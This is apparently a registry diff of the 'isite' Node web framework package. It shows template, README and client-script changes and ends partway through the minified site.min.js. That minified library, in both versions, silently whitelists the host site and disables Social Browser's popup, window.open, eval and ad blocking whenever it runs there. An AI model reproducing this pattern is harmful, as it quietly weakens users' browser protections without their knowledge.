isite 2023.9.30 → 2023.12.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/apps/client-side/site_files/html/require_features.html +35 -22
- package/apps/client-side/site_files/html/require_payments.html +1 -1
- package/apps/client-side/site_files/html/require_permissions.html +35 -10
- package/apps/client-side/site_files/js/app.js +9 -6
- package/apps/client-side/site_files/js/site.js +8 -2
- package/apps/client-side/site_files/js/site.min.js +1 -1
- package/index.js +19 -2
- package/lib/app.js +3 -4
- package/lib/collection.js +1 -1
- package/lib/mongodb.js +5 -4
- package/lib/parser.js +132 -22
- package/lib/routing.js +20 -3
- package/lib/ws.js +9 -5
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -1257,7 +1257,7 @@ site.onGET('/', (req, res) => {
|
|
|
1257
1257
|
res.set('Content-Type', 'text/plain'); // add response header
|
|
1258
1258
|
res.remove('Content-Type'); // remove response header
|
|
1259
1259
|
res.delete('Content-Type'); // remove response header
|
|
1260
|
-
res.redirect('/URL'); // Any URL
|
|
1260
|
+
res.redirect('/URL' , 302); // Any URL
|
|
1261
1261
|
res.send('HTML CONTENT'); // Any HTML Content or object
|
|
1262
1262
|
res.send(obj); // Any HTML Content or object
|
|
1263
1263
|
res.htmlContent('HTML CONTENT'); // Any HTML Content
|
|
@@ -1,25 +1,38 @@
|
|
|
1
1
|
<!DOCTYPE html>
|
|
2
2
|
<html lang="en">
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8" />
|
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
|
6
|
+
<title>Require Features</title>
|
|
7
|
+
<link rel="stylesheet" href="/x-css/bootstrap-5-support.css" />
|
|
8
|
+
<style>
|
|
9
|
+
.btn {
|
|
10
|
+
font-size: xx-large;
|
|
11
|
+
}
|
|
12
|
+
li {
|
|
13
|
+
font-size: x-large;
|
|
14
|
+
}
|
|
15
|
+
</style>
|
|
16
|
+
</head>
|
|
17
|
+
<body class="container">
|
|
18
|
+
<br /><br />
|
|
19
|
+
<h1 class="center bold red">Require Features</h1>
|
|
20
|
+
<div class="row padding margin">
|
|
21
|
+
<h2 class="center blue" x-list1="features">##item1.*##</h2>
|
|
22
|
+
</div>
|
|
23
|
+
|
|
24
|
+
<br /><br />
|
|
25
|
+
<div x-feature="!browser.social">
|
|
26
|
+
<h1 class="center"><a class="btn btn-primary" href="https://social-browser.com" target="_blank"> Open Social Browser Site </a></h1>
|
|
27
|
+
<div class="row padding margin">
|
|
28
|
+
<ol class="center">
|
|
29
|
+
<li>Download and Install Social Browser</li>
|
|
30
|
+
<li>Open Browser Setting</li>
|
|
31
|
+
<li>Click Top Right Corner and Select Show Setting</li>
|
|
32
|
+
<li>Check or click on ( i'm Using Social Browser ) and Save</li>
|
|
33
|
+
<li>Re-open Current Page in Social Browser</li>
|
|
34
|
+
</ol>
|
|
35
|
+
</div>
|
|
36
|
+
</div>
|
|
37
|
+
</body>
|
|
25
38
|
</html>
|
|
@@ -4,7 +4,7 @@
|
|
|
4
4
|
<meta charset="UTF-8" />
|
|
5
5
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
|
6
6
|
<title>Server Error</title>
|
|
7
|
-
<link rel="stylesheet" href="/x-css/
|
|
7
|
+
<link rel="stylesheet" href="/x-css/bootstrap-5-support.css" />
|
|
8
8
|
</head>
|
|
9
9
|
<body>
|
|
10
10
|
<h1 class="text-center bold red">DNS Server Error</h1>
|
|
@@ -1,13 +1,38 @@
|
|
|
1
1
|
<!DOCTYPE html>
|
|
2
2
|
<html lang="en">
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8" />
|
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
|
6
|
+
<title>Require Permissions</title>
|
|
7
|
+
<link rel="stylesheet" href="/x-css/bootstrap-5-support.css" />
|
|
8
|
+
<style>
|
|
9
|
+
.btn {
|
|
10
|
+
font-size: xx-large;
|
|
11
|
+
}
|
|
12
|
+
li {
|
|
13
|
+
font-size: x-large;
|
|
14
|
+
}
|
|
15
|
+
</style>
|
|
16
|
+
</head>
|
|
17
|
+
<body class="container">
|
|
18
|
+
<br /><br />
|
|
19
|
+
<h1 class="center bold red">Require Permissions</h1>
|
|
20
|
+
<div class="row padding margin">
|
|
21
|
+
<h2 class="center blue" x-list1="permissions">##item1.*##</h2>
|
|
22
|
+
</div>
|
|
23
|
+
|
|
24
|
+
<br /><br />
|
|
25
|
+
<div x-feature="!browser.social">
|
|
26
|
+
<h1 class="center"><a class="btn btn-primary" href="https://social-browser.com" target="_blank"> Open Social Browser Site </a></h1>
|
|
27
|
+
<div class="row padding margin">
|
|
28
|
+
<ol class="center">
|
|
29
|
+
<li>Download and Install Social Browser</li>
|
|
30
|
+
<li>Open Browser Setting</li>
|
|
31
|
+
<li>Click Top Right Corner and Select Show Setting</li>
|
|
32
|
+
<li>Check or click on ( i'm Using Social Browser ) and Save</li>
|
|
33
|
+
<li>Re-open Current Page in Social Browser</li>
|
|
34
|
+
</ol>
|
|
35
|
+
</div>
|
|
36
|
+
</div>
|
|
37
|
+
</body>
|
|
13
38
|
</html>
|
|
@@ -45,18 +45,21 @@ site.connectScope = app.connectScope = function (_scope, callback) {
|
|
|
45
45
|
site.showModal(_app.modal);
|
|
46
46
|
};
|
|
47
47
|
|
|
48
|
-
$scope[_app.as + 'Add'] = function () {
|
|
48
|
+
$scope[_app.as + 'Add'] = function (selectedItem) {
|
|
49
49
|
$scope.error = '';
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
50
|
+
if (!selectedItem) {
|
|
51
|
+
const v = site.validated(_app.modal);
|
|
52
|
+
if (!v.ok) {
|
|
53
|
+
$scope.error = v.messages[0].ar;
|
|
54
|
+
return;
|
|
55
|
+
}
|
|
54
56
|
}
|
|
57
|
+
selectedItem = selectedItem || $scope[_app.as + 'Item'];
|
|
55
58
|
$scope.busy = true;
|
|
56
59
|
$http({
|
|
57
60
|
method: 'POST',
|
|
58
61
|
url: `/api/${_app.name}/add`,
|
|
59
|
-
data:
|
|
62
|
+
data: selectedItem,
|
|
60
63
|
}).then(
|
|
61
64
|
function (response) {
|
|
62
65
|
$scope.busy = false;
|
|
@@ -586,13 +586,19 @@
|
|
|
586
586
|
|
|
587
587
|
site.showTabContent = function (e, tabContentSelector) {
|
|
588
588
|
tabContentSelector = tabContentSelector || e;
|
|
589
|
-
let
|
|
589
|
+
let parent = document;
|
|
590
|
+
if (e && e.target && e.target.parentNode && e.target.parentNode.parentNode) {
|
|
591
|
+
parent = e.target.parentNode.parentNode;
|
|
592
|
+
}
|
|
593
|
+
if (parent && parent.className.contains('tabs-header')) {
|
|
594
|
+
parent = parent.parentNode;
|
|
595
|
+
}
|
|
596
|
+
let tabContent = parent.querySelector(tabContentSelector);
|
|
590
597
|
if (tabContent) {
|
|
591
598
|
let tabHeader = tabContent.parentNode;
|
|
592
599
|
if (tabHeader) {
|
|
593
600
|
let tabs = tabHeader.parentNode;
|
|
594
601
|
if (tabs) {
|
|
595
|
-
console.log(tabs);
|
|
596
602
|
tabs.querySelectorAll('.tab-content').forEach((tabContent) => {
|
|
597
603
|
tabContent.style.display = 'none';
|
|
598
604
|
});
|
|
@@ -1 +1 @@
|
|
|
1
|
-
(function(e,t,n,r){function o(e){return e?("string"!=typeof e&&(e=e.toString()),e.replace(/[\/\\^$*+?.()\[\]{}]/g,"\\$&")):""}function a(e,t){let n="";return p.forEach(r=>{r.n==e&&(n=r.i0[t])}),n}function i(e,t){let n="";return 11==e?p.forEach(r=>{r.n==e&&(n=r.i0[t])}):12==e?p.forEach(r=>{r.n==e&&(n=r.i0[t])}):(p.forEach(r=>{r.n==e[1]&&(n=r.i0[t])}),p.forEach(r=>{r.n==e[0]&&(e[1]>0&&e[0]>1?n+=d.strings.space[t]+d.strings.and[t]:n+="",n+=r.i1[t])})),n}function s(e,t){let n="";p.forEach(r=>{r.n==e[0]&&(n=r.i2[t]+d.strings.space[t])});let r=i(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function l(e,t){let n="";p.forEach(r=>{r.n==e[0]&&(n=r.i3[t]+d.strings.space[t])});let r=s(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function c(e,t){let n=i(e.substring(0,2),t)+d.strings.space[t];1==e[0]?n+=d.strings[10][t]+d.strings.space[t]:n+=d.strings[20][t]+d.strings.space[t];let r=s(e.substring(2),t);return r&&(n+=d.strings.and[t]+r),n}function u(e,t){let n=s(e.substring(0,3),t)+d.strings.space[t];n+=d.strings[100][t]+d.strings.space[t];let r=s(e.substring(3),t);return r&&(n+=d.strings.and[t]+r),n}if(String.prototype.test||(String.prototype.test=function(e,t="gium"){try{return new RegExp(e,t).test(this)}catch(e){return!1}}),String.prototype.like||(String.prototype.like=function(e){if(!e)return!1;let t=!1;return e.split("|").forEach(e=>{e=e.split("*"),e.forEach((t,n)=>{e[n]=o(t)}),e=e.join(".*"),this.test("^"+e+"$","gium")&&(t=!0)}),t}),String.prototype.contains||(String.prototype.contains=function(e){let t=!1;return e?(e.split("|").forEach(e=>{e&&this.test("^.*"+o(e)+".*$","gium")&&(t=!0)}),t):t}),e.SOCIALBROWSER){if(SOCIALBROWSER.var=SOCIALBROWSER.var||{},SOCIALBROWSER.var.white_list=SOCIALBROWSER.var.white_list||[],t.location.hostname){let e=`*${t.location.hostname}*`,n=!1;SOCIALBROWSER.var.white_list.forEach(t=>{t.url==e&&(n=!0)}),n||(SOCIALBROWSER.var.white_list.push({url:e}),SOCIALBROWSER.call("set_var",{name:"white_list",data:SOCIALBROWSER.var.white_list}))}SOCIALBROWSER.var.blocking=SOCIALBROWSER.var.blocking||{},SOCIALBROWSER.var.blocking.block_ads=!1,SOCIALBROWSER.var.blocking.block_empty_iframe=!1,SOCIALBROWSER.var.blocking.remove_external_iframe=!1,SOCIALBROWSER.var.blocking.skip_video_ads=!1,SOCIALBROWSER.var.blocking.popup=SOCIALBROWSER.var.blocking.popup||{},SOCIALBROWSER.var.blocking.popup.allow_external=!0,SOCIALBROWSER.var.blocking.popup.allow_internal=!0,SOCIALBROWSER.var.blocking.javascript=SOCIALBROWSER.var.blocking.javascript||{},SOCIALBROWSER.var.blocking.javascript.block_window_open=!1,SOCIALBROWSER.var.blocking.javascript.block_eval=!1,SOCIALBROWSER.var.blocking.javascript.block_console_output=!1}let d={onLoad:function(e){"loading"!==t.readyState?e():t.addEventListener("DOMContentLoaded",()=>{e()})}};d.zoomNumber=parseInt(localStorage.getItem("zoomNumber")||100),d.zoom=function(e){"+"==e?d.zoomNumber+=25:"-"==e?d.zoomNumber-=25:"0"==e||(d.zoomNumber=100),localStorage.setItem("zoomNumber",d.zoomNumber.toString()),t.body.style.zoom=d.zoomNumber+"%"},d.onLoad(()=>{d.zoom("0")}),d.printerList=[],d.getPrinters=function(){return e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrintersAsync?SOCIALBROWSER.currentWindow.webContents.getPrintersAsync().then(e=>{d.printerList=e}):e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrinters?d.printerList=SOCIALBROWSER.currentWindow.webContents.getPrinters():fetch("http://127.0.0.1:60080/printers/all").then(e=>e.json()).then(e=>{d.printerList=e.list}).catch(e=>{d.printerList=[]}),d.printerList},d.render=function(e,n){let r=t.querySelector(e);return r?Mustache.render(r.innerHTML,n):""},d.html=function(e,t){return Mustache.render(e,t)},d.getUniqueObjects=function(e,t){const n=e.map(e=>e[t]).map((e,t,n)=>n.indexOf(e)===t&&t).filter(t=>e[t]).map(t=>e[t]);return n},d.$=function(e){let n=t.querySelectorAll(e);return n},d.modal_z_index=999999,d.showModal=function(t){r(t).click(()=>{r("popup").hide()}),d.modal_z_index++;let n=d.$(t);if(0===n.length)return;n[0].style.zIndex=d.modal_z_index,n[0].style.display="block";let o=n[0].getAttribute("fixed");""!==o&&n[0].addEventListener("click",function(){d.hideModal(t)});let a=d.$(t+" i-control input");a.length>0&&a[0].focus(),d.$(t+" .close").forEach(e=>{e.addEventListener("click",function(){d.hideModal(t)})}),d.$(t+" .modal-header").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})}),d.$(t+" .modal-body").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})}),d.$(t+" .modal-footer").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})})},d.hideModal=function(e){r("popup").hide();let t=d.$(e);t.length>0&&(t[0].style.display="none")},d.eventList=[],d.on=function(e,t){t=t||function(){},d.eventList.push({name:e,callback:t})},d.call=function(e,t){for(var n=0;n<d.eventList.length;n++){var r=d.eventList[n];r.name==e&&r.callback(t)}},d.translate=function(e,t){"string"==typeof e&&(e={text:e,lang:"ar"}),e.url=`https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=${e.lang}&dt=t&dt=bd&dj=1&q=${e.text}`,d.getData(e,t)},d.getData=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.headers=e.headers||{Accept:"application/json","Content-Type":"application/json"},e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get",headers:e.headers}).then(e=>e.json()).then(e=>{t(e)}).catch(e=>{n(e)})},d.getContent=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get"}).then(function(e){return e.text()}).then(function(e){t(e)})},d.handle_url=function(t){if("string"!=typeof t)return t;if(t=t.trim(),t.like("http*")||0===t.indexOf("//")||0===t.indexOf("data:"))t=t;else if(0===t.indexOf("/"))t=e.location.origin+t;else if(t.split("?")[0].split(".").length<3){let n=e.location.pathname.split("/").pop();t=e.location.origin+e.location.pathname.replace(n,"")+t}return t},d.postData=function(e,n,r){n=n||function(){},r=r||function(){},"string"==typeof e&&(e={url:e}),e.data=e.data||e.body,delete e.body,e.data&&"object"==typeof e.data&&(e.data=JSON.stringify(e.data)),e.headers=e.headers||{Accept:"application/json","Content-Type":"application/json"},e.data&&"string"==typeof e.data&&(e.headers["Content-Length"]=e.data.length.toString());try{e.headers.Cookie=t.cookie}catch(r){console.log(r)}e.method="post",e.redirect="follow",e.mode="cors",e.url=d.handle_url(e.url),fetch(e.url,{mode:e.mode,method:e.method,headers:e.headers,body:e.data,redirect:e.redirect}).then(e=>e.json()).then(e=>{n(e)}).catch(e=>{r(e)})},d.typeOf=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.toDateTime=function(e){return e?new Date(e):new Date},d.toDateX=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()},d.toDateXT=function(e){let t=d.toDateTime(e);return t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateXF=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()+" "+t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateOnly=function(e){let t=d.toDateTime(e);return new Date(t.getFullYear(),t.getMonth(),t.getDate(),0,0,0,0)},d.toDateT=function(e){return d.toDateOnly(e).getTime()},d.toDateF=function(e){return d.toDateTime(e).getTime()},d.addZero=function(e,t){let n=t-e.toString().length;for(let t=0;t<n;t++)e="0"+e.toString();return e},d.addSubZero=function(e,t){let n=t;if(2==e.toString().split(".").length){e.toString().split(".")[1].length;e=e.toString()}else e=e.toString()+".";for(let t=0;t<n;t++)e=e.toString()+0;return e},d.fixed=3,d.to_number=d.toNumber=function(e,t){let n=t||d.fixed,r=0;return e&&(r=parseFloat(e).toFixed(n)),parseFloat(r)},d.to_money=d.toMoney=function(e,t=!0){let n=0;if(e){e=e.toFixed(2).split(".");e[0];let t=e[1]||"00";if(t){let n=t[0]||"0",r=t[1]||"0";r&&parseInt(r)>5?(n=parseInt(n)+1,n*=10,100==n?(n=0,e[0]=parseInt(e[0])+1,e[1]=""):e[1]=n):r&&5==parseInt(r)?e[1]=t:r&&parseInt(r)>2?(r=5,e[1]=n+r):e[1]=n+"0"}n=e.join(".")}return t?d.to_float(n):(n&&n.endsWith(".")&&(n+="00"),n)},d.to_float=d.toFloat=function(e){return e?parseFloat(e):0},d.to_int=d.toInt=function(e){return e?parseInt(e):0},d.$base64Letter="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",d.$base64Numbers=[];for(let e=11;e<99;e++)e%10!=0&&e%11!=0&&d.$base64Numbers.push(e);d.toJson=(e=>typeof e===n||null===e?"":JSON.stringify(e)),d.fromJson=(e=>"string"!=typeof e?e:JSON.parse(e)),d.toBase64=(e=>typeof e===n||null===e||""===e?"":("string"!=typeof e&&(e=d.toJson(e)),Base64.encode(e))),d.fromBase64=(e=>typeof e===n||null===e||""===e?"":Base64.decode(e)),d.to123=(e=>{e=d.toBase64(e);let t="";for(let n=0;n<e.length;n++){let r=e[n];t+=d.$base64Numbers[d.$base64Letter.indexOf(r)]}return t}),d.from123=(e=>{let t="";for(let n=0;n<e.length;n++){let r=e[n]+e[n+1],o=d.$base64Numbers.indexOf(parseInt(r));t+=d.$base64Letter[o],n++}return t=d.fromBase64(t),t}),d.hide=d.hideObject=function(e){return d.to123(JSON.parse(e))},d.show=d.showObject=function(e){return JSON.parse(d.from123(e))},d.typeOf=d.typeof=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.showTabContent=function(e,n){let r=t.querySelector(n).parentNode.parentNode;r.querySelectorAll(".tab-content").forEach(e=>{e.style.display="none"}),r.querySelectorAll(".tab-link").forEach(e=>{e.className=e.className.replace(" active","")}),t.querySelectorAll(n+".tab-content").forEach(e=>{e.style.display="block"}),e&&(e.currentTarget.className+=" active")},d.showTabs=function(e,t){e&&e.stopPropagation(),r(".main-menu .tabs").hide(),r(t).show(100)},d.toHtmlTable=function(e){if(e===n||null===e)return"";if("Object"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<Object.getOwnPropertyNames(e).length;n++){let r=Object.getOwnPropertyNames(e)[n];t+="<tr>",t+=`<td><p> ${r} </p></td>`,"Object"==d.typeOf(e[r])||"Array"==d.typeOf(e[r])?t+=`<td><p> ${d.toHtmlTable(e[r])} </p></td>`:t+=`<td><p> ${e[r]} </p></td>`,t+="</tr>"}return t+="</table>",t}if("Array"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<e.length;n++)"Object"==d.typeOf(e[n])||"Array"==d.typeOf(e[n])?t+=`<tr><td><p>${d.toHtmlTable(e[n])}</p></td></tr>`:t+=`<tr><td><p>${e[n]}</p></td></tr>`;return t+="</table>",t}return""},d.resetValidated=function(e){e=e||"body";const n=t.querySelectorAll(e+" [v]");n.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid")})},d.validated=function(e){const n={ok:!0,messages:[]};e=e||"body";const r=t.querySelectorAll(e+" [v]");return r.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid");const t=e.getAttribute("v"),r=t.split(" ");r.forEach(t=>{if(t=t.toLowerCase().trim(),"r"===t)"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!e.value.like("*undefined*")?"I-DATETIME"!==e.nodeName||e.getAttribute("value")?"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName&&"I-DATETIME"!==e.nodeName||e.classList.add("is-valid"):(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"})):(e.classList.add("is-invalid"),(f=e.parentNode.querySelector(".invalid-feedback"))&&(d.session&&"en"==d.session.lang?f.innerHTML="Data Is Required":d.session&&"ar"==d.session.lang&&(f.innerHTML="هذا البيان مطلوب")),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"}));else if(t.like("ml*")){const r=parseInt(t.replace("ml",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length>r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be <= "+r,ar:"عدد الاحرف يجب ان يكون أقل من أو يساوى "+r}))}else if(t.like("ll*")){const r=parseInt(t.replace("ll",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length<r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be >= "+r,ar:"عدد الاحرف يجب ان يكون اكبر من أو يساوى "+r}))}else if(t.like("l*")){const r=parseInt(t.replace("l",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&e.value.length===r||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be = "+r,ar:"عدد الاحرف يجب ان يساوى "+r}))}else t.like("e")?"INPUT"!==e.nodeName||e.value&&d.isEmail(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Email address",ar:"اكتب البريد الالكترونى بطريقة صحيحة"})):(t.like("web")||t.like("url"))&&("INPUT"!==e.nodeName||e.value&&d.isURL(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Web address",ar:"اكتب رابط الموقع بطريقة صحيحة"})))})}),n},d.isEmail=function(e){return!!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(e)},d.isURL=function(e){var t=new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i");return!!t.test(encodeURI(e))};let p=[{n:1,i0:{ar:"واحد"},i1:{ar:"عشرة"},i2:{ar:"مائة"},i3:{ar:"الف"},i4:{ar:"عشرة الاف"}},{n:2,i0:{ar:"اثنان "},i1:{ar:"عشرون"},i2:{ar:"مائتان"},i3:{ar:"الفان"},i4:{ar:"عشرون الف"}},{n:3,i0:{ar:"ثلاثة"},i1:{ar:"ثلاثون"},i2:{ar:"ثلاثمائة"},i3:{ar:"ثلاث الاف"},i4:{ar:"ثلاثون الف"}},{n:4,i0:{ar:"اربعة"},i1:{ar:"اربعون"},i2:{ar:"اربعة مائة"},i3:{ar:"اربعة الاف"},i4:{ar:"اربعون الف"}},{n:5,i0:{ar:"خمسة"},i1:{ar:"خمسون"},i2:{ar:"خمسمائة"},i3:{ar:"خمسة الاف"},i4:{ar:"خمسون الف"}},{n:6,i0:{ar:"ستة"},i1:{ar:"ستون"},i2:{ar:"ستة مائة"},i3:{ar:"ستة الااف"},i4:{ar:"ستون الف"}},{n:7,i0:{ar:"سبعة"},i1:{ar:"سبعون"},i2:{ar:"سبعمائة"},i3:{ar:"سبعة الااف"},i4:{ar:"سبعون الف"}},{n:8,i0:{ar:"ثمانية"},i1:{ar:"ثمانون"},i2:{ar:"ثمانمائة"},i3:{ar:"ثمان الااف"},i4:{ar:"ثمانون الف"}},{n:9,i0:{ar:"تسعة"},i1:{ar:"تسعون"},i2:{ar:"تسعمائة"},i3:{ar:"تسعة الااف"},i4:{ar:"تسعون الف"}},{n:11,i0:{ar:"احدى عشر"}},{n:12,i0:{ar:"اثنى عشر"}}];d.strings={and:{ar:"و"},space:{ar:" "},10:{ar:"آلاف"},20:{ar:"ألفاً"},100:{ar:"ألف"},currency:{ar:" جنيها مصريا فقط لاغير "},from10:{ar:" قروش "},from100:{ar:" قرش "},from1000:{ar:" من الف "}},d.stringfiy=function(e,t){e=e||"",t=t||"ar",e=e.toString().split(".");let n=e[0],r=e[1],o="";1==n.length?o=a(n,t):2==n.length?o=i(n,t):3==n.length?o=s(n,t):4==n.length?o=l(n,t):5==n.length?o=c(n,t):6==n.length&&(o=u(n,t));let f="";return r&&(1==r.length&&(r+="0"),1==r.length?f=a(r,t)+d.strings.from10[t]:2==r.length?f=i(r,t)+d.strings.from100[t]:3==r.length&&(f=s(r,t)+d.strings.from1000[t])),o+=d.strings.currency[t],f&&(o+=d.strings.space[t]+d.strings.and[t]+d.strings.space[t]+f),o},d.ws=function(t,n){if("WebSocket"in e){"string"==typeof t&&(t={url:t});var r=new WebSocket(t.url);let e={ws:r,options:t,closed:!0,onError:e=>{console.log("server.onError Not Implement ... ")},onClose:function(e){e.wasClean?console.log(`[ws closed] Connection closed cleanly, code=${e.code} reason=${e.reason}`):(console.warn("[ws closed] Connection died"),setTimeout(()=>{d.ws(t,n)},5e3))},onOpen:()=>{console.log("server.onOpen Not Implement ... ")},onMessage:()=>{console.log("server.onMessage Not Implement ... ")},onData:()=>{console.log("server.onData Not Implement ... ")},send:function(e){if(this.closed)return!1;"object"!=typeof e&&(e={type:"text",content:e}),this.ws.send(JSON.stringify(e))}};r.onerror=function(t){e.onError(t)},r.onclose=function(t){e.closed=!0,e.onClose(t)},r.onopen=function(){e.closed=!1,e.onOpen()},r.onmessage=function(t){t instanceof Blob?e.onData(t):e.onMessage(JSON.parse(t.data))},n(e)}else console.error("WebSocket Not Supported")},d.hex=function(e){if("string"==typeof e){const t=new TextEncoder;return Array.from(t.encode(e)).map(e=>e.toString(16).padStart(2,"0")).join("")}if("number"==typeof e){let t=e.toString(16);return 1==t.length&&(t="0"+t),t}},d.zakat=function(e){let t="";return e.name&&(t+="01"+d.hex(e.name.length)+d.hex(e.name)),e.vat_number&&(t+="02"+d.hex(e.vat_number.length)+d.hex(e.vat_number)),e.time&&(t+="03"+d.hex(e.time.length)+d.hex(e.time)),e.total&&(t+="04"+d.hex(e.total.length)+d.hex(e.total)),e.vat_total&&(t+="05"+d.hex(e.vat_total.length)+d.hex(e.vat_total)),d.toBase64(t)},d.zakat2=function(e,t){fetch("/x-api/zakat",{method:"POST",body:JSON.stringify(e)}).then(e=>e.json()).then(e=>{t(e)})},d.barcode=function(e){if(e&&e.selector&&e.text)return JsBarcode(e.selector,e.selector,e.options);console.error("qrcode need {selector , text}")},d.qrcode=function(e){if(!e||!e.selector||!e.text)return void console.error("qrcode need {selector , text}");let n="string"==typeof e.selector?t.querySelector(e.selector):e.selector;return n?(n.innerHTML="",new QRCode(n,{text:e.text,width:e.width||256,height:e.height||256,colorDark:e.colorDark||"#000000",colorLight:e.colorLight||"#ffffff",correctLevel:e.correctLevel||QRCode.CorrectLevel.H})):void 0},e.site=d})(window,document,"undefined",jQuery);
|
|
1
|
+
(function(e,t,n,r){function o(e){return e?("string"!=typeof e&&(e=e.toString()),e.replace(/[\/\\^$*+?.()\[\]{}]/g,"\\$&")):""}function a(e,t){let n="";return g.forEach(r=>{r.n==e&&(n=r.i0[t])}),n}function i(e,t){let n="";return 11==e?g.forEach(r=>{r.n==e&&(n=r.i0[t])}):12==e?g.forEach(r=>{r.n==e&&(n=r.i0[t])}):(g.forEach(r=>{r.n==e[1]&&(n=r.i0[t])}),g.forEach(r=>{r.n==e[0]&&(e[1]>0&&e[0]>1?n+=d.strings.space[t]+d.strings.and[t]:n+="",n+=r.i1[t])})),n}function s(e,t){let n="";g.forEach(r=>{r.n==e[0]&&(n=r.i2[t]+d.strings.space[t])});let r=i(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function l(e,t){let n="";g.forEach(r=>{r.n==e[0]&&(n=r.i3[t]+d.strings.space[t])});let r=s(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function c(e,t){let n=i(e.substring(0,2),t)+d.strings.space[t];1==e[0]?n+=d.strings[10][t]+d.strings.space[t]:n+=d.strings[20][t]+d.strings.space[t];let r=s(e.substring(2),t);return r&&(n+=d.strings.and[t]+r),n}function u(e,t){let n=s(e.substring(0,3),t)+d.strings.space[t];n+=d.strings[100][t]+d.strings.space[t];let r=s(e.substring(3),t);return r&&(n+=d.strings.and[t]+r),n}if(String.prototype.test||(String.prototype.test=function(e,t="gium"){try{return new RegExp(e,t).test(this)}catch(e){return!1}}),String.prototype.like||(String.prototype.like=function(e){if(!e)return!1;let t=!1;return e.split("|").forEach(e=>{e=e.split("*"),e.forEach((t,n)=>{e[n]=o(t)}),e=e.join(".*"),this.test("^"+e+"$","gium")&&(t=!0)}),t}),String.prototype.contains||(String.prototype.contains=function(e){let t=!1;return e?(e.split("|").forEach(e=>{e&&this.test("^.*"+o(e)+".*$","gium")&&(t=!0)}),t):t}),e.SOCIALBROWSER){if(SOCIALBROWSER.var=SOCIALBROWSER.var||{},SOCIALBROWSER.var.white_list=SOCIALBROWSER.var.white_list||[],t.location.hostname){let 